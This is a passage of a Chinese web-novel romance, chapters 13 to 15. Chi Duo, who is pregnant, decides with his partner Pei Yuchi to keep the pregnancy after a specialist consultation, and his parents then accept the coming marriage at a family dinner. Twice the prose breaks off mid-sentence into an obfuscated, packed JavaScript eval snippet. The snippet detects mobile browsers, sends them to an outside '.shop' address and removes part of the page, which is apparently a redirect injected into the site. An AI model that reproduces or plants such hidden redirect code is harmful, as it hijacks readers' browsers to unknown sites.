他盯着那只纸袋,突然意识到一件事:他们不是没有分开过的机会。 机会多得离谱。 每一个学校的路口、每一次搬家、每一次回国、每一个新圈子,都是分叉。 他们却一次次走回同一条路。 走得很自然,像眼睛扫过一排菜单,最后还是点“老样子”。 不是因为没得选。 是因为看完了,还是觉得——这个最合适。 也就是这时候,他才想起白天车里裴与驰那句轻飘飘的“结婚”。 像随口,像玩笑,又像把路直接摆在他面前,等他自己走过去。 迟铎把盒子盖上,指尖在盖子上停了停。 他忽然觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“省事。”他说,“结婚。” “不过,省不省事,你说了算。” 迟铎垂下眼,硬撑着问: “那你算什么。” 裴与驰看他一眼: “算我选定了。” 迟铎:“……” 迟铎回忆起昨晚,被他刻意过滤掉的王平柔电话后半段。 王平柔最后给他那位“白富美朋友”下了诊断:建议去挂个脑科号。 毕竟白富美配高富帅,听着就像老天爷闲得没事给人写爽文,而白富美竟然还在纠结。 确实是爽文,除了女主角是他。 迟铎在心里把这句滚了一遍,没笑出来。 他忽然明白自己在干什么,在一步一步往裴与驰那张网里走,心甘情愿。 裴与驰站在那儿,眼神平静得过分。像早就把路铺好,连自己会在哪一步心软,都算到了。 迟铎心里那点逆反冒出来。 凭什么每次都是他先脸热、先乱了阵脚、先丢脸。 他也想看裴与驰失控一次,哪怕一瞬。 迟铎没再说话,往前走了一步。 又一步。 他抬手揪住裴与驰的衣领,力道不大,然后踮起脚,吻上去。 只是单纯的双唇相贴。 裴与驰一开始没动。 半秒后,那点平静终于露了缝,呼吸乱了一拍,快得像错觉。 迟铎心口一跳,刚想得意,下一秒主动权就尽失。 裴与驰抬手扣住他后颈,把人稳稳带过来,低头吻回来。 起初仍旧克制,只是慢慢磨,像哄,像安抚,磨得人发软。之后越吻越深,却始终不急,不狠,温柔得让人更没法招架。。 迟铎被吻得唇舌发麻,呼吸一点点乱掉。 想躲,又舍不得躲;想停,又停不下来。 他只能顺着裴与驰的节奏沉下去,越沉越深,像被温水逐渐没过头顶——明明知道该挣扎一下,却偏偏甘心沉沦。 裴与驰终于退开一点,额头几乎碰到他,声音放得很轻:“闹够了?” 迟铎喘着气,嘴还是硬:“没有。” 裴与驰“嗯”了一声,像纵容,也像记账。 他低下头,在迟铎唇角又轻轻贴了一下,算收尾,顺便盖章。 “回房间睡觉。” 他停了一下,又补了一句。 “还是你要和我一起?” 迟铎:“……” 操!还能反悔吗? 刚才那个吻要不咽回去重来?当没亲过。 13.决定 第二天六点四十五。 闹钟响得刺耳,像催命鬼来索命。 迟铎把被子蒙头,手在床头乱摸,摸到手机,指尖刚碰到停止键,就被一只手稳稳按住。 裴与驰站在床边,衬衫扣到顶,袖口整齐,像刚开完早会。 “起来。” 迟铎闭眼装死:“我没醒。” 裴与驰冷静:“你昨晚说你起得来。” 迟铎摆烂到底:“昨晚的我已经死了,今天的我——” 裴与驰俯身,手臂从他背后一抄—— 迟铎猛地睁开眼:“你真抱?!” 时间倒回昨晚。 迟铎开门要溜,裴与驰在后面:“明早七点,去医院。” 迟铎皱眉:“我才不——” 裴与驰:“起不来我抱你下楼。” 迟铎:“……” 门砰地关上。 回到现在。 迟铎彻底清醒。 他不怕迟到,他怕下一秒被公主抱。 他翻身下床,动作格外利索。 镜子里嘴唇微肿,眼下青黑。 迟铎看一眼就别开脸,不想回忆昨晚那章怎么盖的。 漱口水咕噜一圈,吐掉,像把昨晚的吻也都咽下去。 他盯着洗手池,突然冒出一句:章盖了,退货渠道关了。 硬要售后,还得来妇产科。 操。 等他出来,裴与驰已经穿好外套,车钥匙在指尖转了转。 顺手递过来一杯温水。 “记得空腹。” 迟铎盯着那杯水:“空腹还给我水?” 裴与驰看了他一眼:“润喉。不然很难捱。” 迟铎接过来喝了一口,温度刚好,不烫不凉,像被人提前掐掉所有不适。 裴与驰抬腕看表:“七点十分出门。” 迟铎抬头:“现在才——” 裴与驰打断:“七点零五。” 迟铎:“……” 他换鞋故意磨蹭,试图借此抗议裴与驰的专制。 裴与驰站在门口,也不催,只看着他。 那眼神很礼貌,也很明确:再磨蹭我就抱。 迟铎立刻把鞋跟一踩到底。 车里温度适宜,天还没亮透,路灯一盏盏往后退。 迟铎本来困得眼皮打架,可车上高架后,他又清醒得发慌。 像身体里多了个小小的倒计时器,滴答滴答提醒他:你现在不是一个人了。 他把口罩往上拽了拽:“专家会诊很贵吧。” 裴与驰目视前方:“嗯。” 又补一句:“钱能解决的都不算问题。” 迟铎想翻白眼,翻到一半又卡住。 因为裴与驰下一句闯进耳朵:“解决不了的,我也会想办法。” 迟铎怔了一下,没接话,偏头看向窗外。 入口没牌子,门无声滑开,又在身后合上,像把整座城市的噪音关在外面。 地下车库空得发亮。 裴与驰下车,绕到副驾替他拉门,动作比昨天更熟练。 走廊灯光柔得像酒店,空气里消毒水味淡得几乎没有。 这一层没有其他人,护士站空着,门却一扇一扇自己开。 医生们早就在等着。 文件袋被裴与驰放在桌上,里面是昨天的报告。 主任语气十分客气:“迟先生,裴先生。我们把昨天的基础检查都看过了,今天主要做两件事:把关键影像补齐,之后多学科会诊给方案。” 迟铎“嗯”了一声,很配合。 昨天把最丢人的都交出去了,今天再丢,也就那样。 迟铎怕秘密被发现,更怕因此被当成案例和谈资。 但好在这里的人都很专业,不把你当人看,也不把你当怪物看。 等最后一项结束,护士把他带到一间会议室。 墙上一整面屏幕,影像在上面投得清清楚楚,像汇报项目进度。 迟铎坐下时才后知后觉:专家会诊真像开董事会。 门关上,七八个白大褂坐一排,想要给他开庭做审判。 主任先总结:“目前胚胎发育正常,问题在迟先生身体结构特殊。” 裴与驰听到“问题在”三个字,眉心动了动。 另一位专家接话:“考虑到迟先生的通道狭窄,宫颈发育不全,现在终止,药物方案的话,排不干净,而手术要开腹,风险高,稍有不慎就大出血。” 迟铎听着,指尖却在椅子扶手上轻轻发麻。 裴与驰问得很简短:“对他本人的风险上限?” 主任看向他:“如果现在强行处理,风险反而更大。我们并不建议。” 主任接着报出一串数字,出血百分之几,子宫损伤百分之几,感染百分之几,恢复多少周。 裴与驰接着一条条追问,变量、极端情况、备用方案,然后再问能不能把每个数字再压低,压到百分百的确定性。 专家当然给不出他想要的答案。 “医学上没有绝对。”主任终于憋不住,苦口婆心地劝。 裴与驰抬眼,声音冷得像结了霜:“我只要绝对。” 专家们面面相觑,一时接不下去。 迟铎坐在那儿,忽然有点想笑。 裴与驰的工作就是跟市场的不确定性过招。他深知策略写得再漂亮,历史回测收益再高,真到实时开盘,黑天鹅照样能把人撕碎。 医学也一样。专家把概率算得再细,预案做得再周全,真正推上手术台,谁也不敢拍胸脯。 但专家们其实已经给了范围内最大保证——提前准备好,问题不大,风险可控,极大概率没事。 尤其还有钞能力加持,最好的团队、最顶的设备全都在待命。 可这人还是受不了那点残余的不确定性。 为了他这条命,这人扔掉了理性,像个失控的赌徒,孤注一掷,把全部仓位押到一张牌上—— 强迫这群专家违背职业底线,给他一个百分百安全的承诺。 他基金公司的员工要是看见自家那位“靠不确定性吃饭”的老板在这儿跟专家死磕“确定性”三个字,估计当场就懵了,然后连夜打开领英狂投简历另寻出路。 迟铎心里那点紧绷,像被人用指尖轻轻戳了一下,松开一条缝。热意顺着缝往外冒,烫得他眼眶发酸。 他把情绪硬塞回去,却没塞严。 裴与驰继续问,专家继续说。 “继续妊娠的话,迟先生反应会越来越重,早产风险也存在,但方案可控。” 旁边一位外籍专家适时建议:“我们可以提前规划,等胎儿肺成熟,做计划性剖宫产。迟先生不适合自然分娩,也不适 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迟铎忽然开口。 “我决定留下他。” 会议室瞬间安静。 医生们暗自松了口气,像劫后余生似的看了迟铎一眼,心里默默感恩:迟先生大义,救他们于水火,不然按裴总这架势,他们多年医德怕是要毁于一旦。 裴与驰转头看他,眼神的意思很明显。 迟铎抬手:“别劝。” 他盯着裴与驰,把最软的话塞进最硬的壳里: “你不是最擅长通知人吗?” “那我现在也通知你一声——” “我怕。” “怕疼,怕出血,怕台上醒不过来。” “但你在旁边的话,我就不那么怕。” 他想了想,笑得吊儿郎当,像在说别人的事: “到时候我疼得骂你,你得乖乖任我骂。” 裴与驰没说话。只是伸手,把他的手扣住,很紧,像要把人嵌进骨头里。指尖发凉,却烫得迟铎掌心发热。 眼看着尊贵的大股东熄了火气,演起了琼瑶剧。 主任内心擦了把汗,赶紧开口,给二位讲下一步的计划。 迟铎:“行。” 他站起来时腿有点软,还是硬撑着没露怯。 走出会议室,走廊灯光刺白,但周围一片安静。 迟铎玩笑道:“这医院今天就接待我们俩?” 裴与驰:“嗯。” 迟铎:“托裴总的福。” 裴与驰看了他一眼,突然弯腰,把他打横抱起。 迟铎:“……” 有种该来的还是来了的感觉,迟铎麻木地想。 他也没挣扎,只把脸埋进他肩窝,声音闷: “你突然发什么疯。” 裴与驰抱着他,走得很稳。 “你既然选择留下他。” “以后我还得这样抱你很多次。” “所以你——” 他停了一下,语气带着些逗弄: “要学会提前适应。” 迟铎鼻尖蹭到他颈侧,闻到一点熟悉的冷香。 轻声耍赖:“行。” “那你得抱一辈子。” 14.女婿 米其林三星餐厅的包厢里,烛光晃得人眼晕。 迟铎慢条斯理地把话题抛出来。 “结婚?????!!!!!” 迟了了的手一顿,叉子差点戳到手背。 “和谁?你再说一遍????” 他拍桌而起,风度全无,西装扣子都崩了一颗。 怪不得这臭小子最近不对劲。 提前订位,提前到场,连椅子都提前拉好。 原以为是儿子大了想尽孝,结果是想上香。 “不行!” 迟了了声若洪钟,“这事我们家绝对不同意!” 迟铎切着牛排,刀叉叮当,语气甚至带点体贴:“真不考虑考虑?那可是你嘴上最佩服的后生。” 他抬眼,笑得欠揍:“他爸还是你年轻时最想追上的那一挂人。” 迟了了脸色瞬间沉到底。 他恨自己腰间挂的是普拉达,反手掏不出七匹狼。无法就地教学什么叫“父爱如鞭”。 “我那是拿他激励你!” 他咬字极重,“让你跟他看齐!看齐!!不是看对眼!” 迟铎耸肩:“结果不都一样?” “婚后我俩钱包厚度就齐了。他不跟我签婚前协议。你给我定的目标圆满达成。” 空气静了一秒。 迟了了怒不可遏:“我们家是不如他们有钱,可也够你挥霍了!” “你要还不够,我那点信托按月打给你,行了吧?” 一直坐在旁边的林苹苹这会儿才抬眼。 白裙子,长发像瀑布。岁月在她脸上像点了暂停键——温柔女神本神。 这时候她抬头,声音轻:“挺好的。我没意见。” 迟了了像被定身咒钉住。 她继续,语调温柔,刀刀致命: “我当初嫁给你爸,是因为我妈说我没野心,不争不抢,不是拼事业的料。” “反正也没啥追求,找个男人嫁了得了。” 想了想,又认真补充:“我觉得她说得对,就随便挑了个你爸。” 迟了了:“……” 他一直以为他两是天作之合,门当户对。 结果是舔狗中了□□,女神点兵点将点王八,正好点到他。 陈年旧事,暂且不表。 迟了了憋了半天,咬牙反击:“可这是儿子!是男人!” 林苹苹:“男人也能结婚啊。” “又不是没后门。” 作为早年背包走天下的沙发客女文青,拉拉、玻璃这些在她世界观里是基础常识。 她像忽然想起什么,顺手再补一刀:“更何况你儿子,本来就自带中间档。” 迟了了彻底哑火,连“我不同意”的尾音都没找回来。 话题走到这一步,迟铎终于收起那副吊儿郎当。 他放下刀叉,抬手示意侍应生撤盘——把所有尖锐物品都收走,避免他爸现场上演“父慈子孝”。 然后,他从裤袋里掏出一张检查单,“啪”地压在桌面上 迟了了盯着那张纸,半天没说话,像要用眼神把它戳出洞,戳穿,戳到背后的那个人身上。 “我要杀了那个臭小子。” 预想中的父见子未亡,掏出七匹狼的剧情没有发生。 迟了了把所有怒火全转移到那个“糟蹋了他家黄花大闺……男”的黄毛身上。 迟铎点头,极其配合:“可以。” “裴与驰已经订好餐厅,明晚六点来接你们。” 家宴不欢而散。 回到家,迟了了气的肝疼。 越想越疼,越疼越想。他气势汹汹打开微信,翻出之前被“女儿宝”老友们转疯的那篇文章——《黄毛焦虑,困住养女儿的家长们》。 他点进去的时候态度十分端正。 不是代入自己,是研究社会现象。 文章把“黄毛”画像画得栩栩如生:情绪不稳、没规划、爱冲动、无所事事、不可控…… 迟了了咬牙切齿,一条条对照。 对到最后,他沉默了两秒。 好消息:裴与驰一条都没中。 更好的消息:不仅没中,还全是反着来的。 最坏的消息:他只有儿子,没有女儿。 完美女婿再完美,也跟他家无关。 迟了了把手机一扣,躺在床上翻来覆去,怎么都睡不着。 脑子里一会儿是检查单,一会儿是那篇《黄毛焦虑》,一会儿又莫名其妙跳出裴与驰那张脸。 裴与驰作为迟铎多年的舍友,迟了了其实见过不止一次。 第一次见,是男校新生家长会。 别的男孩不是窜天猴就是小刺头,只有裴与驰背挺得笔直,神情沉稳,与周围人格格不入。 迟了了当场就把这孩子记住了。 后来两人成了舍友,奖学金名单里次次有裴与驰。 迟了了也慢慢知道他是谁家的儿子。 于是裴与驰理所当然成了他嘴里“别人家的孩子”,被他拿来日常拉踩迟铎。 “你看看人家裴与驰,再看看你——同样是男的,怎么差距这么大?” 至于“虎父无犬子”的虎父,迟了了向来闭口不谈。 现在想起来,他恨不得抽自己一嘴巴。 要是早知道这俩最终能滚到一张床上去,他当年一定昧着良心把裴与驰从头到脚抹黑一遍。 什么稳重、优秀、一表人才;明明是太闷、心眼多、看着就不像好人。 可惜他当年夸得太真诚,现在连反悔都显得苍白。 最近一次亲眼见裴与驰,还是在迟铎大学毕业典礼。 那天人多得要命,流程又长,迟铎穿着学位服在台上走,台下全是手机咔嚓声——记录帅哥,也记录青春。 典礼一结束,裴与驰就出现了。 他抱着一只巨型兔子玩偶,玩偶脖子上挂着卡片,印着迟铎的中英文名,站在人群里像个移动广告牌。 迟了了吃饭时才知道:前两天裴与驰的毕业典礼,自己的好大儿给人送了一个超大 Hello Kitty 永生花。 美其名曰“仪式感”,实际逢人就讲,生怕别人不知道—— “这是裴少的品味。” “你们不懂,他就喜欢这个。” 现在这只巨兔,明显是精准回礼。 迟了了捶胸顿足到一半,忽然一个念头从脑门里蹦出来—— 这俩好像从很小就没怎么分开过。 迟了了一屁股坐起,把旁边的老婆当路障,一脚跨过去,摸出老花眼镜,直奔书房。 凌晨三点,书房灯还亮着。 第二天一早,迟了了神清气爽,像刚从知识的海洋里打捞出救命稻草。 他兴冲冲对林苹苹科普: “我查过了!这两小子是同性依恋,不是同性恋。他们自己搞错了!” 林苹苹昨晚被他踩了一脚,一夜没睡好,此刻脸色阴沉。 “同性依恋一般发生在什么时候?”她问。 “青春期。” “你儿子现在多少岁?” “……” 林苹苹又慢悠悠补了一刀:“就算是同性依恋,也依了十二年,这种一直依恋的,叫啥?” “同性恋!” 迟了了嘴快,脱口而出。 话出口,他自己先愣住了。 “……” 他脸色从“我发现真相”迅速切换成“我亲手给自己钉上棺材板”。 又气到肝疼,他决定去补觉。 结果也没躺回去多久,不到五分钟,又坐起来,去衣帽间换了件外套。 不是最贵的,但绝对是他出门见人最“像样”的那件——战袍。 丰田埃尔法掐点停在迟家车道。 裴与驰下车。 迟铎当场愣了愣。 还是那张高冷装逼死人脸,但衣服—— Tuxedo 全套。 黑领结,白衬衫,口袋巾折得方方正正,像把“郑重”两个字别在胸口。 他手里还拎着一顶礼帽,没戴,像多此一举的礼貌。 谁家开屏的公孔雀来了?迟铎想。顺便低头看了看自己白衬衫西裤,又努力回忆餐厅的 dress code,确认自己已经算上心。 助理小跑过来,补交另一只东西——一束花。不大,但插得很精致,拿回去就能直接进花瓶。 林苹苹很自然地接过,扫一眼:“挺会挑。”说完就抬手让管家拿去放好。 裴与驰:“阿姨喜欢就好。” 迟了了站在门口,战袍穿得一丝不苟,脸也一丝不苟。 目光却在那只黑领结上停了一瞬,又迅速挪开,像怕自己多看一眼就输了。 他“啧”了一声:“吃个饭而已。” 裴与驰点头:“是。” 停了停,补一句:“也是第一次以这个身份来见您。” 迟了了:“……” 这句没有半个刺,刺全扎在迟了了自己心里。 他想回一句“什么身份”,又怕回了就等于承认这身份存在。 于是只能把脸色再冷一点,假装自己很忙。 司机下车开门。 迟铎下意识要往后排钻,脚刚抬起,就被迟了了抬手挡住。 “你坐前面。” 理由懒得给,态度不容置疑。 他懂:后排今天是审讯室,他去前面当证人。 林苹苹已经坐进后排,理了理裙摆,拍了拍身侧的位置。 “坐这儿吧。” 迟了了张了张嘴,最后还是坐过去。 裴与驰在车门外等了半秒才坐下。 不靠近,也不疏远,距离像尺量过:既不冒犯,也不给人抓把柄。 车里没放音乐。 空调尽职尽责,像唯一敢喘气的东西。 后座安静。 迟了了不说话,光用余光盯人。 司机启动车子。 裴与驰把礼帽放在膝上,指尖搭着帽檐,没动。 领结也没动。 后座传来林苹苹很轻的一声:“好看。” 也不知道是在夸谁。 迟了了立刻咳了一声,像被呛到。 “吃个饭而已。”他硬邦邦地找茬,“你这是来走红毯?” 裴与驰“嗯”了一声,没反驳。 停了停,语气依旧平稳,字句却说得周全: “怕您觉得我不够重视。” 又补一句,像把人护得理所当然:“也不想让迟铎受委屈。” 迟了了:“……” 他那口气卡在喉咙里,上不去下不来。 直到这会儿他才后知后觉——这不是简单的吃饭。 这是女婿上门。 更要命的是,他儿子还真吃这一套。 不然也不会两厢情愿,水到渠成,先上车后补票,暗结珠胎——只差他点头盖章,瓜熟蒂落。 林苹苹开口,语气更温柔了:“真有礼貌~” 裴与驰:“谢谢阿姨。” 迟了了:“……” 他终于没忍住,压低声音:“你到底站哪边?” 林苹苹理所当然:“我站好看的那边。” 迟了了一摸裤袋,护肝清心丸忘带。 自此,车里氛围变成: 想退货的爸,想收货的妈,早长腿跑了的儿子——对着完美女婿笑哈哈。 车停在餐厅门口,门童迎上来:“裴总,晚上好。” 迟了了听见这声称呼,心口“咯噔”一下—— 礼数周到,年轻有为,完美女婿雏形初现。 可惜是赶着来给他当女婿的,他又没女儿。 裴与驰下车,先绕到后排开门,等林苹苹下车,才微微侧身让开。 动作不夸张,但每一步都刚好:既让人舒服,又不给人抓把柄。 迟了了下车时还想摆个气势,结果台阶不给面子,脚下一滑,岳父差点摔成岳父饼。 他稳住,面不改色地把锅甩给台阶设计不科学。 裴与驰没伸手扶,也没开口提醒,只在旁边等他站稳,才开口:“叔叔,阿姨,这边。” 迟了了:“……” 更烦了。想骂人家献殷勤都骂不出来。 包厢门一合上,烛光依旧晃得人眼晕。 侍应生递上酒单。 裴与驰没接,只抬了抬手,示意先给迟了了。 迟了了随手一翻,眼神终于有了点活气:“行,就这个。” 裴与驰等他点完,才淡声补一句:“再加一杯温柠檬水。” 侍应生应声:“好的。” 酒先上来。 林苹苹端杯闻了闻:“可以。” 迟了了也抿了一口。 好酒。 他心里那点“酒这块我懂”的自信刚起来,下一秒又被另一件事压下去—— 买单的那位英俊多金,对这酒的价签,连眼皮都不抬一下。 礼数周到,年轻有为,英俊多金。 完美女婿的标签,一个接一个往裴与驰身上贴。 迟了了更气了:他没女儿!!!!! 迟铎伸手去拿自己的酒杯。 一杯温柠檬水被推到他面前,刚好卡住他的手。 迟铎抬眼,刚起个头:“你——” 裴与驰也抬眼,看了他一下。 迟铎把剩下半句话咽回去,顺势端起温柠檬水抿了一口。 但该有的态度还是得有,迟铎一边小口喝着一边冷着张脸。 迟了了:“……” 林苹苹没急着说话。 她端着酒杯,眼睛在三个人身上慢悠悠绕了一圈,像把一出戏看够了。 看够了,她忽然若有所思:“原来‘一眼定乾坤’是这么用的。” 迟了了立刻警惕:“什么意思?” 他老婆向来语出惊人,专拆他台。他本能觉得下一发炮弹还得落自己头上。 林苹苹不语,只晃了晃酒杯,声音轻轻的: “乾坤在喝柠檬水呢。” 行,齐活了。 礼数周到,年轻有为,英俊多金,一家之主。 女婿就女婿吧,迟了了不想再挣扎。 他不同意有啥用?自家儿子脚长腿长,事业也混出了个人样,早不靠他那点信托续命。更何况都珠胎暗结、木已成舟,他再拍桌子,也拍不回去。 想到这儿,他把那口气咽下去,硬生生拐了个弯。 “现在是什么情况?到了哪一步?” 他盯着迟铎,低声问。 下一秒炮轰罪魁祸首:“你知不知道他身体构造特殊啊?” 炮轰的目标没开口,自己的好大儿开口了。 迟铎端着温柠檬水,语气冷得四平八稳:“死不了。” 迟了了:“……” 他差点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16891967|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把酒杯捏碎,只恨今天白天光顾着生气,忘记买条七匹狼来。 “别给我装。”迟了了咬牙,“医院怎么说?” 裴与驰放下酒杯,回答得很完整,很稳,像在做汇报。 听到关键处,迟了了眉心一跳:“能不能处理?” “会诊不建议。” 裴与驰如实相告。 迟了了喉咙发紧:“那就……留着?” 迟铎没抬头,还是那副冷脸:“嗯。” 迟了了火气一下没了,换成了堵——堵得他胸口发闷。 他沉默几秒,终于问到最不想问的:“最坏会怎样?” 裴与驰没往轻里说,也没吓唬人,只把专家给的词摆平。 迟了了听见“剖宫产”三个字,眼前发黑了一下,硬撑着没露出来。 林苹苹在旁边轻轻“嗯”了一声,像把场子撑住:“医生说得这么清楚,已经很负责了。” 迟了了哑着嗓子:“那你们现在打算怎么做?” 迟铎终于抬眼,语气依旧冷:“按方案走。” 迟了了被他气笑:“你说得倒轻巧。你知不知道你——” “爸,”迟铎打断,“我知道,也害怕。” “但他在,我就没那么怕。” 迟了了:“……” 他转头看裴与驰,盯了两秒,像终于从“女婿”这个词里回过神。 “你在医院……跟专家怎么说的?” 裴与驰语气平稳:“我问能不能保证迟铎的绝对安全。” 迟了了冷笑:“那你问出绝对了吗?” 裴与驰没否认:“没有。” 他顿了顿,很实在:“医学没有绝对。” 丝毫不提自己之前怎么医闹的。 迟了了噎住。 他想骂,又发现骂不到点上。 这会儿,他终于说到关键:“那你还提结婚干什么?” 包厢里安静了一瞬。 连烛光都像晃慢了半拍。 裴与驰没开口,他从西装内袋里拿出一个薄薄的文件夹,放到迟了了面前。 不是合同,纸张也不厚,但每一页标题都让人心慌。 最上面几张,抬头一眼就能看见:同意书、告知书、授权书、通知书。 迟了了眼皮一跳:“这什么?” 裴与驰把话说得很完整,像在给长辈交代一件不得不做的事: “医院给的。涉及手术、输血、紧急处置。” “上面写的是‘家属签字’。” “我现在的身份,签不了。” 迟了了:“……” 裴与驰继续,语气不急不缓: “我不想等到真要签的时候,被拦在门外。” “也不想让迟铎在最难受的时候,看不见我,还得解释我们是什么关系。” “结婚最省事。签字权也最清楚。” 迟了了盯着那几张纸,喉咙里像堵了团棉花。 他原本还想再顶几句,可那堆标题把他顶回去了。 同意书、告知书、授权书、通知书。你不签,它就在那里等着你,等着哪天突然来敲门。 迟了了把视线从纸上挪开,没看裴与驰,也没看迟铎。 他盯着烛火,突然想起自己岳父当年的话。 老头子一句废话没有,直切要点: “你记住,你们结婚了,不是林苹苹嫁到你们家,也不是你迟了了入赘到我们家。” “是你们长大了,成熟到可以脱离各自的大家庭,成立一个新家庭。” “往后你们互相扶持。生老病死都要陪在对方身边。” 迟了了那时嫌岳父老派。 恋爱脑上头,只听得见风花雪月,听不见“病房”“签字”。 直到迟铎出生前,林苹苹出过一次状况。 夜里见红,车灯一路晃进急诊。医生没寒暄,开口就是流程:“家属在吗?签字。” 一张同意书,薄得像纸,重得像命。 风险、并发症、“不保证结果”。 迟了了握着笔,指尖发凉,第一次明白:结婚不是交换誓言后可以天天花前月下,是有人在你站不稳的时候替你站稳。 后来孩子平安落地,这事被他压进记忆底,装作没发生。 直到前几年,他半夜进急诊。 林苹苹披着外套、穿着睡衣跟在后面,头发乱着,脚上还是双拖鞋。 她没问一句“怎么了”,只一路跟护士跑流程:刷卡、签名、缴费、确认。 进病房才停下。 先把他手攥住,攥得很紧,像怕他跑,像怕自己松一下就来不及。 她低声说:“别怕。” 迟了了当时疼得说不出话,却忽然听懂了岳父那句老派: 风花雪月会过期,能陪你走到签字那一步的,才算数。 他偏头看了眼迟铎。 迟了了知道,这小子从小就面子比天大,不哭不喊疼不说怕,尤其在他面前。 但现在,他肯承认怕,也肯让人分担。 迟了了心里那团堵着的东西,忽然松了一点。 他忽然觉得, 这孩子已经长到,可以和另一个人组一个新家的地步了。 他看向裴与驰——迟铎给的人选。 裴与驰没催,也没摆姿态,就坐得端端正正,像话都交代完了,剩下的交给长辈。 礼数周全得让人更难发火。 迟了了沉默很久,终于伸手把文件夹往自己这边拉了拉。 动作很轻,像怕吵到谁。 他清了清嗓子,硬邦邦地开口,像给自己留面子,也像给这顿饭收个口: “你别把这些当催婚。” 裴与驰:“我没有。”回得很快。 迟了了瞪他:“我说的是我。” 他顿了顿,像把一个别扭的认可从牙缝里挤出来: “你想要签字权,我懂。” “但你记着:结婚不是为了签字。” 话一出口他自己先烦了,像嫌肉麻,立刻补一句把情绪压回去: “……签字只是顺便。” 林苹苹在旁边抿了口酒,没笑他,只轻轻“嗯”了一声——像当年她爸那样,给这句话盖了个章。 迟铎低着头,耳尖却微微红了。 他嘴硬:“爸,你突然这么文艺干什么。” 迟了了懒得理逆子。 裴与驰把话接得很稳,说得很周全: “叔叔,阿姨,我不会让他一个人面对这些。” “也不会让他看不见我。” 他停了停,又补一句,像把承诺落印: “以后他的事,都有我在。” 迟了了盯着他两秒,最后把酒杯端起来。 他没说“同意”,也没说“不同意”。 只丢下一句,硬得像石头,落下去却是软的: “行。” “你们自己选的路,自己走。” “但走散了我不负责,走歪了我也不客气。” 迟铎:“你还想客气?” 迟了了:“你闭嘴!” 林苹苹晃了晃杯子,像把戏看完,轻声总结: “挺好。” “规矩齐了,人也齐了。” 烛光晃得人眼晕。 迟了了晕得肝疼。 但他又不得不承认—— 另一半,他儿子好像真的找到了。 15.习惯 晚宴到了最后,气氛从一开始的剑拔弩张,慢慢拐了个弯,变成宾主尽欢。 也不是谁先低头。 是桌上有酒,桌边人有故事。 迟了了爱品酒,林苹苹爱旅游,两人没事就满世界跑。 迟了了说起某年某庄的某一桶,话还没落完,裴与驰就把年份、气候、醒酒时间顺着补全;林苹苹兴致一来聊到“人迹罕至”的路线,他又能把补给、时差、当地向导常见的坑点讲得像亲自踩过。 不夸张,不卖弄,不抢话,也不让话题掉地上。 迟铎在旁边听得咋舌。 先不提裴总突发恶疾,人话竟然可以讲这么顺溜。 关键是他顺溜得不像临场发挥。 不难想象躺在裴总办公桌上的自家爸妈尽调报告内容能有多详细。 迟铎甚至怀疑:老爸老妈那些不堪回首的往事,也在里面。 比如老妈年轻时动不动就威胁外公外婆:不让她去墨脱,她就抱着相机死在墨脱。 虽然外公外婆妥协后,她也没死,活得比谁都精神。 至于老爸,年轻时唯爱创业:屡败屡战、屡战屡败。 最后生死看淡,改行品红酒,享空虚人生。 轮到酒上桌,他就有了精神。 迟了了嘴上依旧端着,偶尔“哼”一声,偶尔挑个小刺,装作自己只是“给面子”; 但杯子却越换越勤,话也越聊越长。 等甜点上来,迟了了端着杯子,视线一转,落到自家女婿身上。 杯子一空,眼神就闲了。 裴与驰今晚穿得无可挑剔,再配上那身量和长相,迟了了刚见面时心里那点微妙的不舒服又泛了上来。 不是别的。 主要是陪自己亮相各大场合都没露怯的战袍,这次被轻描淡写地压了一头。 他梗着脖子不承认,甚至还故意咳了一声,抬下巴,找回场子: “你们年轻人就爱弄这些。” 裴与驰放下杯子,态度依旧恭敬: “应该的。” 迟了了:“……” 好痛苦,连挑刺都挑不动。 散场时,服务生拉开门,走廊灯光一亮,迟铎才发现:自己爸妈居然跟裴与驰聊了一晚上。 迟铎:“……” 看这架势,要是裴与驰今晚顺手来募个资,他家估计能把钱投到余额只剩四位数密码。 车停在门口,裴与驰先下车,绕到另一侧开门。 迟了了下车的时候还装不在意,嘴里“嗯”了一声,像在应付。 林苹苹刚站稳,就有人从另一辆车上下来,双手递过一个不算大的黑色盒子。 抬手打开,她的微醺立刻清醒三分,眼睛亮得像被点了灯: “古董徕卡?!” 盒子里那台机子不新,韵味十足。金属边角有一点包浆,皮套纹理干干净净,随附卡、编号、拍卖行落款都在。 女文青箴言:迷旧不迷新,越旧越像诗。 林苹苹看了两眼就抱紧,抬眼笑得人畜无害,语气甜得要命: “宝贝真棒,我儿子真有品味!” 迟铎:“……” 他条件反射把自己手机扣住了。 怕下一秒屏幕亮起,他妈已经把裴与驰拉进家族群,备注:「我的宝贝亲亲女婿」。 外公外婆先吓一跳,七大姑八大姨再补一刀。 而自己,为了毁灭证据,谋杀的人从三人呈指数级增长。 林苹苹像是忽然想起什么,又温温柔柔地提醒: “不过你爸那边你也别空手哦。” 迟了了:“……” 他被点名点得很准确,喉结动了一下。 随即“哼”了一声,生怕显得自己高兴。 裴与驰没多解释,只侧身示意,深色木箱递到迟了了面前。 迟了了目光落到酒标,停了一瞬。 Domaine de la Romanée-Conti。 Richebourg。 2008。 裴与驰语气平静: “原木箱出。来源、流转和存储记录都在箱底。您要是想看,我让人把电子版也发您一份。” 迟了了没接话。 裴与驰又道: “这瓶不急着开。放柜里就行。” 迟了了冷冷开口,台词却还是那一句: “你们年轻人就爱弄这些。” 裴与驰点头: “应该的。” 他顿了顿,像顺手把另一件事也安排好: 